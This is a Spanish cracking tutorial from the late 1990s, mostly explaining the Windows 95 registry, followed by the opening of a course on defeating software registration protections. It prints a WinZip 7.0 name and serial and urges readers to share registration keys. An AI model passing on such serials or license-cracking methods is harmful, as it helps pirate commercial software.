Las principales funciones de estas claves son: 1º Asociar la extensión de un archivo a un tipo de objeto. 2º Asociar un icono a un tipo de objeto. 3º Asociar una serie de acciones de la línea de comandos a un tipo de objeto. 4º Asociar las opciones de los menús contextuales (desplegables) a un tipo de objeto. 5º Definir lo que aparecerá en la ventana de propiedades (right-clickàpropiedades) para cada tipo de objeto. Como habréis deducido cambiando un "Value" podemos asociar un tipo de archivo a un determinado programa, cambiar el icono de un tipo de archivo, añadir o quitar nuevos tipos de archivos, etc. Etc. Dentro de KCR distinguimos tres tipos de "Subkeys": a) Extensiones de archivos, asocian las extensiones con los tipos de objeto. Más clarito, estas "Subkeys" se ocupan de decir qué hace windown con cada tipo de archivo (archivos que llevan asociadas determinadas acciones), qué menús despliega al hacer right-click sobre él y las propiedades que se muestran al acceder a este menú. Son de este tipo "Subkeys" como .arj, .com, .cab, etc. b) Tipo de objeto, define un objeto en función de sus menús desplegables, sus propiedades, su icono y sus enlaces CLSID (tratado a continuación). c) CLSID, nos da información OLE (object linking and enbedding, una aplicación es llamada por otra automáticamente para editar datos) y DDE ( dynamic data exchange, intercambio de datos entre dos aplicaciones) sobre tipos de objeto, también puede contener información sobre los menús contextuales, propiedades e icono. Es importante saber que cada "Subkey" CLSID es única o al menos eso aseguran desde M$ donde se curraron un programilla sólo para este temita (generador de claves de 32 dígitos en hexa...). Es una clave bastante importante en el cracking puesto que gracias a ella podremos conocer métodos de direccionamiento de memoria y enlaces a dll´s con funciones OLE ( GetDlgItem,lstrcmp.....). Al abrir el registro con nuestro regedit.exe y echar un vistazo a KCR nos encontramos que dentro de muchas de las "Subkeys" hay otras "Subkeys" tales como: a) Shell: determina acciones tales como abrir, imprimir, copiar, etc. Por ejemplo una "Subkey" de este tipo determina que reproductor multimedia abre nuestros archivos *.mid. La rama para abrir y ejecutar estos archivos sería: [HKEY_CLASSES_ROOT\midfile\shell]

15 @="Play" [HKEY_CLASSES_ROOT\midfile\shell\open] @="Abrir" [HKEY_CLASSES_ROOT\midfile\shell\open\command] @="C:\\WINDOWS\\rundll32.exe C:\\WINDOWS\\SYSTEM\\amovie.ocx,RunDll /open %1" [HKEY_CLASSES_ROOT\midfile\shell\play] @="Reproducir" [HKEY_CLASSES_ROOT\midfile\shell\play\command] @="C:\\WINDOWS\\rundll32.exe C:\\WINDOWS\\SYSTEM\\amovie.ocx,RunDll /play /close %1" b) Shellex: contienen "Subkeys" que determinan las funciones OLE y DDE para cada tipo de objeto, no son más que cadenas numéricas que apuntan por ejemplo a la dll que ejecuta una determinada operación y definen las propiedades de sus menús contextuales. c) Shellnew: contienen el valor de la cadena numérica del comando u orden que determina la apertura de un nuevo objeto. Un ejemplo muy sencillito es la clave *.BMP cuya shellnew nos indica el programa con que editaremos una nueva imagen de este tipo. d) Default Icon: contienen el valor de la cadena numérica que nos indica el icono por defecto de cada tipo de objeto, normalmente apuntarán al shell32.dll, pifmgrd.dll ( en \windows\system) o moricons.dll ( en \windows) tal que al primer icono de la lista le asigna el 0 al siguiente el uno y así sucesivamente de la siguiente manera: C:\Windows\moricons.dll,0

¿? HKEY_CURRENT_USER (HKCU) Las "Subkeys" de esta "Key" contienen las configuraciones del actual usuario, en caso de ser una máquina con un único usuario esta clave es casi idéntica al .DEFAULT de HKEY_USERS. Lo que en ella tenemos es todas las preferencias que en algún momento hayamos puesto añadidas a todas las configuraciones por defecto. Contiene toda la información sobre el sistema que no tiene HKEY_LOCAL_MACHINE, esto es, configuraciones del software y preferencias del usuario. Es una parte del registro que podemos cambiar casi sin riesgo de causar un estropicio, casi todas las opciones contenidas en esta clave son modificables desde algún "peso pesado" del Windows, como el panel de control, la barra de tareas, cualquier menú de propiedades... Dentro de esta "Key" y con la vista puesta en el cracking la clave \Software es de los más jugosa, en ella encontramos desde números de serie hasta jodiendas que nos imposibilitan registrar la aplicación pero esto viene luego... ;P En esta "Key" nos encontramos con: a) \AppEvents: nos define los sonidos y otras mingadas ( masterCaR-d-19 feo ;P ) con las que windown nos aturde siempre que ejecutamos un programa, metemos la gamba y ezetera ezetera al cubo... EventLabels nos da el nombre de la mingada, Schemes\Apps la localización de las mingadas y Schemes\names pues el nombre del tema. b) \Control Panel: contiene las "Subkeys" que nos definen la apariencia de nuestro windown (el color de las ventanas, su tamaño, etc.), las opciones de accesibilidad como las soundsentry o las stickykeys, los cursores, el escritorio (fondo, tamaño de iconos,etc.). Estas opciones son totalmente configurables desde el panel de control. c) \InstallLocationsMRU: bastante clarito el nombre, estas "Subkeys" contienen la localización del software instalado, contiene por ejemplo todas las localizaciones de programas instalados con "Wizards" como InstallShield, etc. M.R.U. à Most-recently-used, self explanatory ;P d) \Keyboard Layout: como supongo habrás deducido pues contiene la definición de tu teclado, en función de país,etc. Y basándose en un método de numeración que todavía sólo está en conocimiento de sus creadores...pijadas...

16 e) \Network: contiene tus conexiones de red anteriores divididas en dos clases: Persistent: define los dispositivos y unidades que defines al dejar marcada la opción de "reconectar al desconectar" (valga la redundancia...) las claves contienen información como tu navegador, tu nombre de usuario,etc. Estas claves aparecen como iconos en "Mi Pc". Recent: las últimas conexiones de red que has realizado sin la opción de reconectar chequeada, aparecen en menús desplegables cuando vas a realizar una conexión de red (Path). f) \RemoteAccess: contiene las configuraciones de los marcadores de conexión en red, se divide en dos ramas: Addresses: contiene una definición en binario de cada conexión que tengas montada en "acceso telefónico a redes". Profile: que se divide a su vez en una rama para cada conexión, en estas ramas encontramos los valores de IP, dominio, nombre de usuario, etc. De cada conexión. g) \Software: todas las "Subkeys" que componen esta "Subkey" ( me estoy empezando a cansar de key subkey... ) representan software instalado en tu PC o software que has tenido instalado, las ramas tienen o bien el nombre del programa o bien el nombre del fabricante como distintivo, a veces podemos encontrar claves con el mismo nombre dentro de Local_Machine pero normalmente el contenido será distinto en cada caso. El contenido de las ramas que podemos encontrar suele ser muy parecido, preferencias del usuario, direcciones de archivos guardados y lo más interesante fechas de instalación, nombres de usuario/números de serie y claves que determinan si el programa está o no registrado, más adelante tocaremos un poco más este temita tan interesante.

¿? HKEY_LOCAL_MACHINE (HKLM) Las diferentes entradas de esta "Key" definen el estado físico de nuestro PC, incluyendo datos sobre el BUS, la memoria del sistema y las configuraciones de nuestro hardware y software (registrado / no registrado p.ej.). Contiene 7 "Subkeys" que son: a) \Config: en esta rama se guardan las configuraciones de tu hardware que defines a través del "Panel de Control" pulsando en el icono de "Sistema". La última configuración antes de apagar el PC se copia a HKCC al iniciar el equipo. b) \Enum: aquí es donde están guardadas la mayoría de las configuraciones de tu hardware, tales como los dispositivos PNP, la BIOS, PCI, ESDI, FLOP, ISAPNP, Monitor, SCSI y los dispositivos de conexión en red. c) \Hardware: está dividida en dos ramas: Description: que contiene la rama \System\Floating Point Processor, que será 0 o 1 dependiendo de su existencia. Devicemap: que contiene la rama \serialcomm donde se listan tus puertos. d) \Network: contiene la rama \Logon que a su vez esta compuesto de los valores LMLogon (será 1 si la máquina está en ese momento conectada en red y 0 en caso contrario), logonvalidated (1 para estar validado), Policy Handler, Primary Provider , username, and UserProfiles. e) \Security: dentro de esta rama hay dos claves, un "Value"nada más abrir esta rama y que apunta a una clave remota donde estarán las opciones de seguridad de red como son por ejemplo los derechos de acceso. La "Subkey" \Provider contiene información del servidor. f) \Software: la mayoría de las "Subkeys" contenidas aquí nos dan información sobre la versión del programa, su licencia,etc. Pero también podemos encontrar otra información interesante como los drivers que se utilizan al conectarse en red, fuentes, las características de la emulación de MS/DOS, zona horaria, etc.

17 g) \System: aquí nos encontramos con una rama de nombre \CurrentControlSet que se abre en \Control y \Services, cada una de estas ramas están llenas de ramitas, la mayoría son de explicación trivial, todo el mundo sabrá o se imaginará qué hace la rama ComputerName o Shutdown o KeyboardLayout, etc. Os puede dar problemas VMM32 que es una lista de los VxD que tenéis trabajando y poco más. Cuidado con tocar estas configuraciones que os puede dar algún disgusto.

¿? HKEY_USERS (HKU) Aquí se definen las configuraciones de cada usuario y las configuraciones que por defecto se le otorgan a los nuevos usuarios, \.Default y \nombredeusuario respectivamente. Las estructuras de cada una de estas "Subkeys" es semejante a HKCU, al efectuar el "login" se copiarán en HKCU las configuraciones contenidas en su \nombredeusuario.

¿? HKEY_CURRENT_CONFIG (HKCC) Los contenidos de esta "Key" se toman al iniciar el ordenata de las configuaciones alojadas en cada perfil de usuario en \Local_Machine\Config. Aquí nos encontramos con tres "Subkeys": a) \Display: dividido en \Font que contiene las cadenas de valores que determinan las fuentes que pueden aparecer en la ventana principal y \Settings que contiene las cadenas de valores que determinan: BitsPerPixel, diferentes DPIs, oemfonts, fixedfon, fonts y Resolution. b) \Software: donde encontramos detalles de las configuraciones de internet como los proxys o el autodial. c) \System: que sólo contiene una rama \CurrentControlSet\control\Print\Printers donde tenemos información sobre las impresoras que tenemos definidas a través de InicioàConfiguraciónàImpresoras ¿? HKEY_DYN_DATA (HKDD) En esta "Key" tenemos la información de nuestro sistema detectada al iniciarlo, esta información como su nombre indica es dinámica y por lo tanto susceptible de cambiar en cualquier momento lo que hace que parezca que esta clave no se guarda. Dentro de HKDD nos topamos con: a) \ConfigManager: con una sola rama de nombre \Enum que se abre en un montón de ramitas numeradas que definen el estado, la localización, los problemas detectados y la clave del hardware de los dispositivos PNP detectados al iniciar el compiuter. b) \PerfStats: las estadísticas del funcionamiento actual del ordenata son guardadas en esta "Subkey" bajo apariencia de "Values" en binario, se dice que algunas de las ramas definen el sistema de archivos, o el "management" de la memoria pero no he encontrado nada claro en este tema, sólo conjeturas y "parecequeeeee..." lo que está claro es que estas claves se refieren al funcionamiento de nuestra amada computadora y que indagar en este tema no es de ninguna utilidad para nosotros, de todas formas como el saber no ocupa lugar agradecería info de este tema y lo incluiría al momento en este texto. c) \Security: con una sola rama de nombre \Provider donde encontramos un "espejo" de la rama

18 HKLM\Security\Provider, mientras la primera va cambiando según cambien las propiedades de la red la segunda se mantiene estática. Ya tenemos definido el registro, lo siguiente que vamos a hacer es aprender a modificarlo, porqueeee para qué nos sirve conocer cómo funciona algo si no podemos jugar con ello hasta estropearlo? ;P

¿? Restaurar el Registro. Como más vale prevenir que curar antes de enseñaros cómo urgar en el registro vamos a ver cómo podemos recuperar el registro por si las moscas se nos va la pinza y conseguimos que o bien nuestro windown no cargue o bien alguna aplicación parece ausente... Los pasos para recuperar el registro antiguo son los siguientes: 1 Haga clic en el botón "Inicio" y, después, en Apagar el sistema. 2 Haga clic en Reiniciar el equipo en modo MS-DOS y, después, haga clic en "Sí". 3 Cambie al directorio de Windows. Por ejemplo, si su directorio de Windows es C:\Windows, deberá escribir: cd c:\windows 4 Escriba los siguientes comandos y presione ENTRAR después de cada uno. (Observe que System.da0 y User.da0 contienen el número cero). attrib -h -r -s system.dat attrib -h -r -s system.da0 copy system.da0 system.dat attrib -h -r -s user.dat attrib -h -r -s user.da0 copy user.da0 user.dat 5 Reinicie su equipo. Con esto conseguiremos restaurar el último registro que cargó correctamente nuestra pcera.

¿? Almacenamiento de datos en el registro. No podemos guardar lo que gustemos en el registro, hay unos límites técnicos y físicos al tipo y tamaño de datos que una aplicación puede guardar en el registro, existen ciertas líneas maestras a seguir para promover la eficiencia del sistema. Una aplicación puede almacenar información sobre configuraciones y de inicialización en el registro pero otros tipos de datos deben ser guardados en otro sitio. Generalmente los datos consistentes en más de 2KB deben guardarse como un archivo usando una "Key" que se refiera a la localización de estos datos, este mismo proceso debe seguirse para evitar duplicar grandes cantidades de datos en el registro. Nunca se debe guardar en el registro código binario ejecutable. Un "Value" ocupa mucho menos espacio que una "Key", por esto y para economizar espacio una aplicación puede agrupar datos de carácter similar y guardar la estructura como un "Value" mejor que guardarla en "Keys" separadas, si se usa este método es aconsejable pasar los datos a binario para evitar incompatibilidades. Además y para guardar un orden diferenciaremos, a la hora de meter un dato al registro, entre dos categorías de datos, información de la computadora e información del usuario, gracias a esta diferenciación una aplicación puede soportar múltiples usuarios, localizar

19 información acerca de un usuario específico a través de una red y usar la información personalizada en distintas localizaciones permitiendo así que la localización del perfil de un usuario sea totalmente independiente. Por ejemplo cuando una aplicación es instalada puede guardar los datos referentes al ordenata bajo HKEY_LOCAL_MACHINE. Puede crear "Subkeys" para el nombre de la compañía, nombre del producto, versión, etc. : HKEY_LOCAL_MACHINE\Software\NakarkoSoft\Expediente\3.0

La apliación puede guardar la información referente al usuario bajo la "Key" HKEY_CURRENT_USER, como en el ejemplo siguiente: HKEY_CURRENT_USER\Software\NakarkoSoft\Expediente\3.0\User\karlitoxZ\ ¿? Hands On ;P Modificando el registro manualmente. Esto es muy sencillito, tanto como cambiar de nombre a una carpeta mediante el "Explorador" o cambiar las propiedades de un archivo con el menú contextual. Como esto se hace más fácil de entender gráficamente os pongo un ejemplito pero antes de nada tened muy en cuenta qué es lo que váis a modificar, nunca modifiquéis algo que no sabéis para qué sirve o de lo contrario... las claves que menos peligro tienen son las claves que encontramos dentro de las "Subkeys" \Software por lo que ahí va un ejemplillo con una de ellas: [HKEY_CURRENT_USER\Software\NukeNabber 2.0\Options] {keys y Subkeys} "savewindowpos"="0" {values, 1=True 0=False} "runminimized"="1" "usesystray"="1" "stayontop"="0" "killportscan"="1" "client"="1" "Services0"="mirc" "langdesc"="Spanish" "langnum"="4" En esta ramita nos encontramos con opciones del NukeNabber personalizables a través de sus menús, un 1 nos indica que la opción está "encendida" y un 0 pues lo contrario. Tenemos marcada la opción de "runminimized" con lo que el programa trabaja minimizado, tenéis aquí un ejemplo de "Value" en binario que inmediatamente vamos a cambiar para que el programa no curre minimizado. El tema sería de la siguiente manera: 1 Abrimos el Regedit.exe alojado en C:\Windows. 2 Click en HKCUà Software à NukeNabber2.0 à Options. 3 Doble-Click en el "Value" a cambiar, en este caso "runminimized". 4 Nos aparece una ventanita donde tenemos nombre de valor e información del valor, pulsamos en lo segundo e introducimos un 0 para anular esa opción y le damos al Enter. 5 Pulsamos F5 para actualizar el registro. Sencillo no? Pues a jugar un poquito... Cambiar de nombre a una "Subkey" es todavía más sencillo, idéntico proceso al de cambiar de nombre a una carpeta en el "Explorador".

20 Se me había olvidado, también podemos modificar la información del registro a través de archivos *.reg, haciendo doble-click sobre ellos, dando al menú contextual y eligiendo "Combinar" o abriendo el Regedit.exe y pulsando en el menú "Registro" à "Importar archivo del registro" la información que el *.reg contiene se introducirá en nuestro registro. ¿? Cómo modificar el registro mediante una aplicación (para programadores). Antes de meter información al registro una aplicación debe abrir o crear una "Subkey" apoyándose en las "Keys" predefinidas, los proggies usan las funciones RegOpenKey o RegOpenKeyEx para abrir una "Key" o "Subkey" y las funciones RegCreateKey o RegCreateKeyEx para crear una "Subkey". Una apliación puede usar la función RegCloseKey para cerrar una "Subkey" y escribir los datos en el registro, el proceso de escribir los datos puede no ser inmediato y los datos pueden estar en caché unos segundo antes de ser volcados al disco duro, para un volcado inmediato se usa la función RegFlushKey, lo malo es que esta función chupa muchos recursos y debe ser usada sólo en caso de que sea absolutamente necesario. Para escribir los datos de un "Value" dentro de una "Sub/Key" una aplicación puede usar las funciones RegSetValue o RegSetValueEx, la primera de las funciones sólo trabaja con cadenas ("Values" de tipo REG_SZ), la segunda por el contrario puede escribir "Values" con cualquier tipo de datos. Estas dos funciones pueden crear una "Subkey" y su o sus "Values" al mismo tiempo. Para borrar un "Value" de una "Sub/Key" usamos la función RegDeleteValue, para borrar una "Sub/Key" usamos la función RegDeleteKey, no se pueden introducir "Values" o "Subkeys" dentro de una "Key" borrada como es lógico... Para cambiar la información sobre la seguridad de una "Sub/Key" podemos usar la función RegSetKeySecurity.

¿? Obtener información del registro manualmente. Sencillito sencillito, basta con darse un rutecillo por el registro con el Regedit.exe y ver qué es lo que tenemos en cada rama, como darse una vueta por algún ftpwarez con el CuteFtp. Una buena cosa que nos permite el Regedit es "exportar archivo del registro" (menú registro), gracias a esta opción podemos coger cualquier rama de nuestro registro, pasarla a un archivo *.reg y compartir esta ramita con nuestros compis, esto de la exportación es muy interesante sobre todo si te das una vuelta por las "Subkeys" de Software y compartes tus registered con los demás, vamos a ver un ejemplito y así comparto algo con vosotros...que amar es compartir.... 1 Abrimos el Regedit.exe y nos colocamos en la rama del registro que queremos enficherar. 2 En el menú de Registro, Exportar archivo del Registro. 3 Se nos abre una ventanita de esas de Save As, en ella elegimos dónde y con qué nombre vamos a guardar nuestra ramita, además en la parte inferior de la ventana tenemos la opción "Rango de Exportación", si elegimos "Todo" haremos una copia de todo el registro, en cambio si elegimos rama seleccionada pues eso, copiamos sólo la rama que queremos copiar. 4 Ya está todo guardadito, ahora vamos a ver qué coño tiene el *.reg, estos archivos son modificables mediante cualquier editor de textos (notepad p.ej.). Aquí tenéis un ejemplo de lo que se ve al hacer esto, seguro que os sirve de algo ;P REGEDIT4 [HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni] "win32_version"="7.0" "Name"="karlitoxZ (PNK)" "SN"="EA461EF8" Por si hay algún despistado esto es el registro del Winzip 7.0...

21 ¿? Obtener información del registro mediante una aplicación (para programadores) Una aplicación para coger información del registro va recorriendo todas las "Subkeys" de una "Key" hasta que encuentra la que busca y recoge los datos del "Value" o de los "Values" asociados al primero. Una aplicación puede usar las funciones RegEnumKey o RegEnumKeyEx para enumerar las "Subkeys" de una "Key" determinada, la primera función nos devuelve sólo la "Subkey" mientras que la segunda nos devuelve también sus componentes. Para obtener datos concretos de una "Key" determinada recurrimos a la función RegQueryInfoKey. Con la función RegGetKeySecurity obtendremos una descripción de las características de seguridad de esa clave. La función RegEnumValue nos sirve para enumerar los "Values" de una "Key" dada y las funciones RegQueryValue y RegQueryValueEx nos darán el contenido del "Value" de una "Key" determinada.

RegEnumValue es llamada para determinar los nombres de los "Values" y RegQueryValueEx para obtener los datos contenidos en los "Values" de nombre sacado con RegQueryValue. Cuando una aplicación guarda parte de la información del registro en un archivo separado de éste nos encontramos con el problema de cargar esta información desde el registro cuando sea necesario, para este proceso nos encontramos con RegSaveKey que nos permite guardar una "Key" con sus "Subkeys" y "Values" en un archivo *.reg y con las funciones RegLoadKey para pasar el contenido del archivo *.reg al registro (RegUnLoadKey nos sirve para devolver el registro al estado anterior al RegLoadKey), RegReplaceKey que modifica una rama del registro según defina el archivo *.reg y RegRestoreKey que devuelve a una rama del registro los valores que determina el fichero *.reg. Poca cosa más sobre este tema, para hacer esto más tragable he omitido las estructuras de cada una de las funciones, si para alguien son de interés y no tiene posibilidad de obtenerlas que me emaile y se las envío ASAP.

¿? Algunos detallitos de windown modificables gracias al registro.. Aquí tenéis unos cuantos trukillos para que esto funcione mejor o debería decir que funcione menos mal? Y algunas tonterías que por lo menos a mi hacen que algunas cosas de w95 me molesten un poquito menos... 1- Mejor rendimiento del disco duro: esto arregla un BUG de la primera versión de w95, vamos a la clave HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Fstemplates\Server, aparecen dos Values cuyos datos están al revés, debemos poner en NameCache 40 00 00 00 y en PathCache a9 0a 00 00, en versiones de w95 superiores a la OSR2 los valores están bien puestos, no hay que cambiarlos pero para que el tema funcione y nuestro HD vaya algo más rápido debemos por último ir a Panel de Control à Sistema à Rendimiento à Sistema de Archivos à Disco Duro y allí tenemos que poner función típica "Servidor de Red" y optimización avanzada "Completa". 2- Eliminar elementos del menú ejecutar: Ejecuta el Regedit y ve a la rama Mipc\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 3. Abre esta última carpeta y ya puedes eliminar los elementos que no quieras de la lista de la derecha. Aviso! no toques el primer elemento de la lista. Reinicia el equipo. 3- Refresco de ventanas automático: Ejecuta Regedit y ve a la rama HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update, ahora pulsas el botón derecho y eliges Modificar, cambiar el valor 01 por el de 00 y reiniciar el equipo. 4- Eliminar iconos "imposibles" de eliminar: Ejecuta el regedit y acércate a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version\Explorer\Desktop\Name\Space, borras lo que te sobre y reinicias. 5- Quitar la animación de las ventanas: esto nos ahorrará un poquito de RAM, vamos a HKEY_CURRENT_USER\Control Panel\Desktop\WindowsMetrics. Creamos un nuevo "Value" de nombre MinAnimate, siendo su valor cero.

22 6- Aumentar la velocidad de los menús desplegables: vamos a la rama HKEY_CURRENT_USER\Desktop, creamos un "Value" de nombre MenuShowDelay y le otorgamos un valor entre 0-10, un 7 es bastante bueno pero tu verás. Y como estos nos podemos encontrar con 1000 trucos relacionados con el registro, con estos ya vale como ejemplito, yo me quedo con el del HD y la animación de las ventanas... AgRaDeCiMiEnToS y EtZs: Este texto es un "remix" de un montón de libracos que he encontrado tirados por la red de redes y de articulillos sacados de mi colección de revistas, como está claro a estas alturas no voy a descubrir nada nuevo sobre este tema pues todo está dicho ya pero creo que era necesario un manual completo y en castellano con miras sobre todo a la ingeniería inversa y a la programación. Como nadie es perfecto seguro que en este texto por mucho que lo haya revisado habrá un montón de errores, os agradecería me los hicierais llegar vía email para poder corregirlos... Principalmente me he basado en la Win32 Programmer´s Reference y en el fantástico texto sobre este tema que leí en "MaMMon´S" del que no dudé en copiar cuando me quedé en blanco ;P http://www.cybercity.hko.net/SanFrancisco/mammon y que está sacado de "The W95Registry" de John Woram (copión que copia a copión tiene 100 años de perdón ;P) y en un montón de webs sobre windown95 donde la gente enseña lo poco que sabe y lo mucho que cree saber... Agradecimientos pues lo de siempre... A los miembros del proyekto como siempre su compañía y ayuda... Y esta vez y para variar pues a CaR19 sus clases "personalizadas" de hacking ;P y a +MaLaTTia toda la ayuda que en su momento me prestó en este largo camino de convertirme en +karlitoxZ ¡¡mile gracie bambino!! ;P +karlitoxZ Mail : [email protected] +karlitoxZ irc = IRChispano - EFNet -> KarlitoxZ +karlitoxZ web : http://pagina.de/proyektonakarko

-------------------------------------------------------------------------------6 -Recomendaciones Una buena recomendación sería que estudiaras lo básico más a fondo de ensamblador con 29A o Aesoft y/o La universidad de Guadalajara, también te recomendaría (si eres asiduo a algo de programación) a darle un buen vistazo a este curso de Pascal (también por la universidad de Guadalajara), ya que con estos cursos, vamos a tener aunque sea que aprender a programar (lo básico) en varios lenguajes. Y te recomiendo aprender a programar primero en este sencillo lenguaje de programación por Borland 7 -¿Dónde puedo encontrar más información acerca de la ingeniería inversa? Un muy buen lugar para encontrar mucha información es el sitio de FRAVIA, y dos sitios mu'buena onda son Crackstore.com (Por lo que me dijo el Webmaster de Crackstore, vuelve en septiembre con un servidor más rápido) y WkT!. 8 -Mis palabras finales Ojalá que este curso les haya sido de agrado, pues me averguenzo de los otros cursos que hice. Les mando saludos de mi parte a las siguientes personas : WkT!, evangelion, Hot Byte, SYSmooh, +karlitoxZ, +ORC, +Fravia, tKC, DiabloDX, Soraya (Que mujer!!), Razzia, DMA-48, y sobre todo al todopoderoso gigantesco SIGRID (esperamos que algún día escribas un tutorial para senseñar todo lo que me has enseñado!). Sin mencionar a mi mejor amigo Enrique Palacios. y A J. Hernandez. (Esperamos tu página!), y a Saiya (Sigue jugando con tu PSI! vas bien!), Maureen, Anarquia, ¡ceMaN. En general dos cosas acerca de mí:

23 Me gusta ayudar, pero no exagero. Soy un puto loco traumado de la cabeza paranoico hasta los huesos. SE lo que piensas, así que mueve tu tras-0 y manda un mail con preguntas (solo para ayudar a la labor, no aceptaré hazme cracks ni tipos así) o con mis posibles errores, ya que cualquier cosa que no se entienda y me manden un mail, los ayudaré cambiando este curso y agregando temas .., si quieres ejercitar un ejemplo claro de la teoría de este curso es el programa Quick Install Maker 3.0 y puedes encontrarlo en http://www.marchale.com o el famoso Help Pad. Ejercita esto. Cualquier probleMilla visitA el hueco de Nuestra págInA Cool Por el web ubiCada en : http://kut.tsx.org, y si tienes suerte la verás (si es que estos putos gringos no me la quitan de nuevo por 9 vez!!). Por último, les regalo un truquillo que me regalo este chato mu'buena onda y que realmente admito que no sabía -En las propiedades del módem, en 'configuración del puerto',pon 'avanzadas', y en donde dice configuración extra agrega esto : 'S11=50' y quizás le darás un marcado 'UltraRápido' a tu acceso telefónico a redes. Maniac Pc [email protected] Kr@cKerZ United Team 99 [email protected]

CURSO SUSCEPTIBLE A CAMBIOS

Reverse Engineering <-:El curso completo para comenzar a crackear:-> Edición Azul Curso 1 ... la definición crack. Temas: 0.-Ingeniería Inversa, Introducción 1.-Conceptos 2.-¿POR DONDE RAYOS COMENZAR? 2.1-CONOCIMIENTO BÁSICO DE ENSAMBLADOR 3.-ENFATIZANDO CON LAS HERRAMIENTAS 4.-La primera Aproximación 4.1-Teórico, ahora, práctico 4.1.0-Una pequeña explicación. 4.2-Muerte a los bytes. 5.-El registro de Windows 6.-Recomendaciones 7.-¿Donde puedo encontrar más información? 8.-Mis palabras finales ... =)

-Ingeniería Inversa, introducción. Este tutorial está creado por que realmente no me sentí muy satisfecho con los otros cursos que hice, realmente pienso .. no quedaron de mi agrado así que los eliminé y los reemplacé con estos,así que el que quedó leyendo mi otro curso, despídanse, empezaremos desde 0 ... este tutorial está hecho especialmente para los que no entienden lo que es la Ingeniería Inversa, desde ahora le llamaremos cracking espero poder ayudarlos en todo lo que pueda, y si no, haré lo mejor ... La ingeniería inversa se basa en quitar, remover, suspender uno o más temas de protección de alguna aplicación ya siendo comercial y otras. Muchos consideran esto como un arte. En este curso pienso ayudar a personas quén interesadas al respecto, y incluso a los mismos programadores. Se les enseñará a no ser tan 'cuadrados' de mente pensando en intereses comerciales, se les enseñará a crackear sus propios programas, e ir aumentando sus niveles de protección, en este primer curso aprenderemos algo mínimo en cuanto a reventar protecciones de programas, mas que nada, hablaremos de teórico. Por hoy se aprenderá el uso de la ingeniería inversa bajo el sistema operativo en Windows 95 y/o 98. Empezaremos por cosas muy básicas. Sólo les pediré las siguientes cosas para que comienzen a crackear :

 Un Computador -=(Mayor o igual a 16 Mb. de RAM, mayor de 486 a 33)

    

Un disco duro de 1 Gb. UN CEREBRO Instinto y perspicacia. Las ganas. Algo de conocimientos básicos a medios (Como que es la RAM, programar, uso de Win95)  Si es posible, algo de conocimientos de ensamblador, si es que no es así, los ayudaré en lo que pueda. Yo creo que tienes los dos primero ítems, ya que ahora solo salen pentiums III y pocaso los II... Al mismo tiempo aprenderemos a crackear a conocer los aspectos de una PC, cómo funciona, qué hace, y como es que se ejecutan las cosas. Creo que debo explicarles otras cosas también pero las aprenderemos en el transcurso de estos laaargoos capítulos. 1. - CONCEPTOS Empezaremos por pensar en qué es un sistema operativo, es la base por la cuál un programa (en este caso Windows 9x) domina el inicio de las rutinas para procesar datos en el disco duro. (suena enredado, pero piensa que se trata de un programa que hace que se 'inicie' el disco duro ..) .. ya sabemos cuál programa está dominando en tu equipo, si es que usas una apple macintosh, busca en altavista 'MAC CRACK', y encontrarás hechos al respecto. Muy bien, imaginemos un programa a crackear, o sea, ¿Qué queremos hacerle al crackearlo? .. vamos a eliminar diálogos o partes que digan .. 'Cómprame' .. 'gasta dinero' ... por un programa que usas, y por ejemplo,un programa que usas te pide que lo compres utilizando una tarjeta de crédito (p.e. MasterCard*Visa), y que lo compres por ejemplo en http://www.buynow.com , del cuál te pedirá el nombre, número de tarjeta de crédito y cuando expira, así harán una cybercompra arrugando tus bolsillos ... ¿No? ... si no te ha pasado revisa entre tus cosas esos CD's de revistas .. verás mucho material para crackear allí, todavía no sabes crackear, así que aprenderemos aquí. Imagina que este programa tiene un cuadro de diálogo que te pide un nombre y una contraseña, y esta contraseña se te da cuando compras el programa. y cuando la introduces en el programa, el programa te dirá "Gracias por registrarse" lo que prácticamente quiere decir que : "Gracias por gastar su dinero en este programa" .. nuestro objetivo para este y solamente este programa será estudiar el porque cuando introduces una contraseña errónea te dice "Contraseña incorrecta" ... y modificar esta sentencia o ver como es que forma la contraseña ... llamaremos desde ahora a MS-DOS ->DOS, a Windows 95 le llamaremos ->Win95. ¿Por qué digo solamente para este programa? .. pues existen varias protecciones distintas, como las de tiempo (cuánto tiempo usas un programa) .. las de usos (Cuánto puedes usar un programa, p.e. 6 veces)... y otras por allí ... Cada vez los programadores están desarrollando peores protecciones para los programas... y a veces son buenas... (no demasiado y pocas veces).. esto ocurre cuando los programadores crean los programas en pensamientos comerciales y 'monetarios' .. y lo peor de todo es cuando esto sucede gracias a la estúpida sociedad en que vivimos donde la gente esta propensa a que cuando se tiene dinero, no se hacen las cosas por placer. se hacen con mentes comerciales.

2. - ¿POR DONDE RAYOS COMENZAR? Empezaremos por saber que rayos necesitaremos para esto de la ingeniería inversa. Pueden ser encontrados en HERRAMIENTAS Depurador/Debugger: Es un programa que sirve para "depurar" programas, me explico, cuando se ejecuta un programa y lo 'depuras' .. Te vas deteniendo en cada paso que ejecuta el programa, al mismo tiempo cuando lo depuras por ejemplo en el programa llamado "soft-ice", este es un programa para depurar (el más famoso) vas viendo el programa depurándose en ensamblador o mas bien conocido como assembler, explicaré assembler básico más adelante ... Lista de depuradores mas comunes : Debug (De MS-Dos), Soft-Ice (El más usado), TR (para dos y Win) Editor Hexadecimal: Es un programa que permite 'editar' archivos, en forma hexadecimal y poder cambiar bytes en él, mas adelante aprenderemos el sistema hexadecimal y binario. Lista de editores hexadecimales más comunes : Hex Workshop (Win95), Ultraedit (Win95), Hacker's View (Dos) Monitor del registro:Para ocasiones en que los programas guarden sus datos de registro en el sistema de Windows, siempre servirá este programa .. más adelante se explicará acerca de este famoso registro de 'windows'.. Lista de monitor : Registry monitor (Win95). Descompresor: Algunos programas. Más en sí sus ejecutables, vienen comprimidos con ejecutables de otras compañías , por ejemplo el famoso IconForge, este programa no permite ser desensamblado... Existe un programa llamado shrink, que protege los ejecutables (EXE), con este puedes usar por ejemplo el Deshrink, que descomprime los archivos protegidos con Shrink.. Y así es posible desensamblar y modificar algunos segmentos... Creo que todavía ya los estoy confundiendo . Lista de descompresores comunes : Deshrink, PeUNLOCK, etc. miles 